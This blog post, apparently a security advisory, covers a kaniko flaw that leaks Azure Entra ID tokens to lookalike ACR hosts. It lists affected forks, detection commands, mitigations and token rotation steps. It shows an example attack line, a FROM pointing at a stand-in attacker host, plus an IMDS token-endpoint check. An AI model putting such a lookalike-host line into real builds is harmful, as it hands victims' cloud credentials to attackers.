# kaniko CVE-2026-105769: Lookalike ACR Hosts Get Your Azure Token. Rebuild on v1.25.20

URL: https://www.devopsness.com/blog/kaniko-cve-2026-105769-azure-token-leak
Author: Kiril Urbonas
Published: 2026-11-06
Updated: 2026-11-06
Categories: DevOps
Tags: Azure, CVE, Supply Chain, Security, CI/CD, News

Summary: A FROM line pointing at a host like x.azurecr.io.attacker.com is enough to make kaniko hand the build's Entra ID token to that host. Which kaniko forks and images are affected, how to find Azure identities in your build pods, and what to rotate.

---
# kaniko CVE-2026-105769: Lookalike ACR Hosts Get Your Azure Token. Rebuild on v1.25.20

Any kaniko build that runs a Dockerfile you do not fully control, on a runner that can reach an Azure identity, can leak a live Azure Resource Manager token to an attacker's registry. Rebuild kaniko from v1.25.20 or later, or cut the build off from Azure credentials, today. No `RUN` step and no push are needed to trigger it.

> [!VERIFIED]
> GHSA-5q7h-w9jf-cx97 / CVE-2026-105769, affected range `< 1.25.20` of `github.com/chainguard-dev/kaniko`, fix in v1.25.20 (PR #495), CVSS 3.1 score 9.3, against the GitHub advisory, the chainguard-forks/kaniko release notes, the Go vulnerability entry GO-2026-6225, the CISA KEV catalog and Microsoft's workload identity and managed identity docs. Checked November 6, 2026.

## What happened, in dates

The bug sits in `github.com/chrismellard/docker-credential-acr-env`, the Azure Container Registry credential helper that kaniko links into its executor and warmer. It decides whether a host is ACR with an unanchored regular expression, so any hostname that merely contains `.azurecr.io` (or `.azurecr.cn`, `.azurecr.de`, `.azurecr.us`) passes. The helper then POSTs the Entra ID token to `https://<host>/oauth2/exchange`, in both the `Authorization: Bearer` header and an `access_token` form field.

- **August 18, 2026:** the Go vulnerability database publishes GO-2026-6225 against the upstream helper, affecting every version. The helper is unmaintained and has no fixed release.
- **October 26, 2026:** the Chainguard-maintained kaniko merges PR #495, which carries a patched copy of the helper under `third_party/docker-credential-acr-env`.
- **October 27, 2026:** v1.25.20 is released.
- **November 2, 2026:** NVD publishes CVE-2026-105769.
- **November 5, 2026:** GitHub publishes the reviewed advisory GHSA-5q7h-w9jf-cx97, rated critical: CVSS 3.1 9.3, `AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N`, CWE-346 (origin validation error) and CWE-522 (insufficiently protected credentials). The reporter credited is Martin Zihlmann of osscontainertools.

You do not need to use ACR to be exposed. kaniko asks the built-in helper for credentials for any registry that has no entry in your Docker config and is not a Google or ECR registry, and it asks before contacting the registry. That covers base images in `FROM` and images in `COPY --from=<image>`. As of November 6, 2026 the CVE is not in the CISA KEV catalog, and the advisory does not report exploitation.

## Which kaniko is this?

Google archived `GoogleContainerTools/kaniko` in June 2025. The advisory is filed against the Chainguard fork (repo `chainguard-forks/kaniko`, Go module `github.com/chainguard-dev/kaniko`), which publishes no binaries or images. It names no other fork or image; the last two table rows are our reading of those projects' source code. Its README says the old `gcr.io/kaniko-project/executor` and `warmer` images "are unmaintained and no longer updated".

| Kaniko line | Status for this bug | Images |
|---|---|---|
| Chainguard fork (`chainguard-forks/kaniko`) | Fixed in v1.25.20 | No public images; build from source, or Chainguard's customer image `cgr.dev/chainguard-private/kaniko` (1.25.20 listed) |
| Archived Google kaniko (last release v1.24.0, May 2025) | Not named in the advisory. Its source (`pkg/creds/creds.go`, `go.mod`) links the unpatched helper, and no fix will ship | `gcr.io/kaniko-project/executor`, `gcr.io/kaniko-project/warmer` |
| osscontainertools fork | Not named in the advisory. Its `go.mod` links the unpatched helper up to v1.28.2; v1.28.3 (August 13, 2026) and later use its own `docker-credential-acr` v0.8.0+, which anchored the host check | `ghcr.io/osscontainertools/kaniko`, `martizih/kaniko` |

## Am I affected?

Four questions: which kaniko images run, which version, whether Dockerfiles are untrusted, and whether the build can reach an Azure identity.

```bash
# 1. Kaniko images referenced in CI config (GitLab, GitHub Actions, Tekton, Argo)
$ grep -rnE 'kaniko' .gitlab-ci.yml .gitlab/ .github/workflows/ 2>/dev/null
$ grep -rnE 'image:.*kaniko' --include='*.yaml' --include='*.yml' tekton/ argo/ deploy/ 2>/dev/null

# Tekton and Argo Workflows objects already in the cluster
$ kubectl get tasks,pipelines -A -o yaml 2>/dev/null | grep -nE 'image:.*kaniko'
$ kubectl get workflowtemplates,clusterworkflowtemplates,cronworkflows -A -o yaml 2>/dev/null | grep -nE 'image:.*kaniko'

# 2. Running kaniko containers and their tags, cluster-wide
$ kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{range .spec.initContainers[*]}{.image}{" "}{end}{range .spec.containers[*]}{.image}{" "}{end}{"\n"}{end}' | grep -i kaniko

# 3. Version inside the image (executor images are FROM scratch, so no shell)
$ docker run --rm --entrypoint /kaniko/executor <your-kaniko-image> version
# Which ACR helper is linked in? Unpatched builds list chrismellard/docker-credential-acr-env
$ cid=$(docker create <your-kaniko-image>) && docker cp "$cid":/kaniko/executor ./executor && docker rm "$cid"
$ go version -m ./executor | grep -i 'credential-acr'

# 4a. Workload identity: labelled pods and annotated service accounts
$ kubectl get pods -A -l azure.workload.identity/use=true -o custom-columns=NS:.metadata.namespace,POD:.metadata.name,SA:.spec.serviceAccountName
$ kubectl get sa -A -o jsonpath='{range .items[?(@.metadata.annotations.azure\.workload\.identity/client-id)]}{.metadata.namespace}/{.metadata.name}{"\t"}{.metadata.annotations.azure\.workload\.identity/client-id}{"\n"}{end}'

# 4b. Azure env vars on a build pod (webhook-injected ones appear in the pod spec)
$ kubectl get pod -n <ci-ns> <build-pod> -o jsonpath='{range .spec.containers[*].env[*]}{.name}{"\n"}{end}' | grep -E '^(AZURE_|MSI_)'

# 4c. Managed identity via IMDS, from a throwaway pod in the build namespace (prints the HTTP code only)
$ kubectl run imds-check -n <ci-ns> --rm -i --restart=Never --image=curlimages/curl -- \
    curl -s -o /dev/null -w '%{http_code}\n' -m 5 -H Metadata:true \
    'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F'
```

On VM-based runners (GitLab Runner shell or Docker executors on Azure VMs), run the same `curl` and an `env | grep -E '^(AZURE_|MSI_)'` inside a CI job. A `200` from IMDS means any process in that job can get a managed identity token. Per the advisory, the three credential paths are service principal variables (`AZURE_CLIENT_ID`, `AZURE_CLIENT_SECRET`, `AZURE_TENANT_ID`), a federated token (`AZURE_FEDERATED_TOKEN` or `AZURE_FEDERATED_TOKEN_FILE`), and managed identity through IMDS or `MSI_ENDPOINT`.

## What to do now

1. **Rebuild on the fix.** Build the executor, warmer and `docker-credential-acr-env` from the v1.25.20 tag or later (the repo's `deploy/Dockerfile` on main fails the build if the helper is not the patched in-tree copy), or move to a fixed image from the table. Pin by digest, not `latest`. Go module users update `github.com/chainguard-dev/kaniko` to v1.25.20.
2. **If you cannot upgrade yet,** set `AZURE_ENVIRONMENT=none` in the kaniko container when you do not rely on its built-in ACR auth; the advisory says the helper then fails before requesting a token. Strip `AZURE_*`, `MSI_ENDPOINT` and `MSI_SECRET` from build pods and block `169.254.169.254` with a NetworkPolicy or firewall rule.
3. **Pin registries.** Replace `"credsStore": "acr-env"` with per-host `credHelpers` entries for your own ACR names, and consider an admission or CI policy that only allows `FROM` hosts on an allowlist.
4. **Shrink the identity.** A build identity needs `AcrPush` on one registry, not Contributor on a subscription. Prefer federated, short-lived credentials over client secrets; our guide to [Azure workload identity federation without secrets](/blog/azure-workload-identity-federation-without-secrets) covers the setup.
5. **Review logs.** If untrusted Dockerfiles ran with an identity available, the advisory says to treat tokens issued in that window as compromised. Check the identity's Entra ID service principal or managed identity sign-in logs and the Azure activity log for ACR pushes, role-assignment changes and key listings, then rotate any secrets the identity could read.

## Where this breaks

Rotating the client secret or federated credential does not revoke an access token already issued; it stays valid until it expires, and Microsoft's workload identity docs say Entra tokens expire 24 hours after they are issued. The `AZURE_ENVIRONMENT=none` workaround also breaks kaniko's own ACR pushes, and blocking IMDS breaks every pod in that namespace that legitimately uses managed identity. For the archived Google images there is no patched release: the only fixes are migrating to a maintained fork or removing Azure credentials from those builds. Finally, a scanner that flags GO-2026-6225 in your kaniko image is the same signal as the `go version -m` check above; see [container vulnerability scanning](/blog/container-vulnerability-scanning) for wiring that into CI.

## Questions people ask

### Am I affected by CVE-2026-105769 if I don't use Azure Container Registry?

Possibly yes. The advisory says kaniko consults its built-in ACR helper for any registry with no credentials in the Docker config that is not a Google or ECR registry. If the build environment has any Azure identity (service principal env vars, workload identity, or managed identity through IMDS) and a Dockerfile references a lookalike host, the token is sent. No Azure identity in reach means nothing to leak.

### Is the gcr.io/kaniko-project/executor image fixed?

No. Google archived the project in June 2025, its last release is v1.24.0, and its source still links the unpatched `chrismellard/docker-credential-acr-env` helper. The advisory does not name these images, but the Chainguard fork describes them as unmaintained. Move to a v1.25.20 or later build of the Chainguard fork, or an osscontainertools image at v1.28.3 or later, or remove Azure credentials from builds that use the old image.

### Does the attacker need to push an image or run code in my build?

No. A `FROM x.azurecr.io.attacker.com/img` line, or a build argument that expands to such a host, is enough, because kaniko requests credentials before it contacts the registry and the attacker's server does not have to ask for authentication. That is why the CVSS vector marks privileges required as none and user interaction as required: someone has to run the build.

## The call we'd make

Rebuild kaniko on v1.25.20 now if any pipeline builds forks, merge requests or user-supplied Dockerfiles on runners with an Azure identity, and set `AZURE_ENVIRONMENT=none` in the meantime where you do not push to ACR through kaniko. The caveat: if those builds already ran with a broad identity, treat it as an incident, not a patch, and work through it with [our production vulnerability playbook](/blog/handling-vulnerabilities-in-production).

## Sources

- [GitHub Advisory: GHSA-5q7h-w9jf-cx97, kaniko Azure token leak to lookalike ACR hosts](https://github.com/advisories/GHSA-5q7h-w9jf-cx97)
- [chainguard-forks/kaniko: release v1.25.20](https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20)
- [Go vulnerability database: GO-2026-6225](https://pkg.go.dev/vuln/GO-2026-6225)
- [Microsoft Learn: Microsoft Entra Workload ID on AKS](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview)
- [Microsoft Learn: managed identity tokens from IMDS](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)

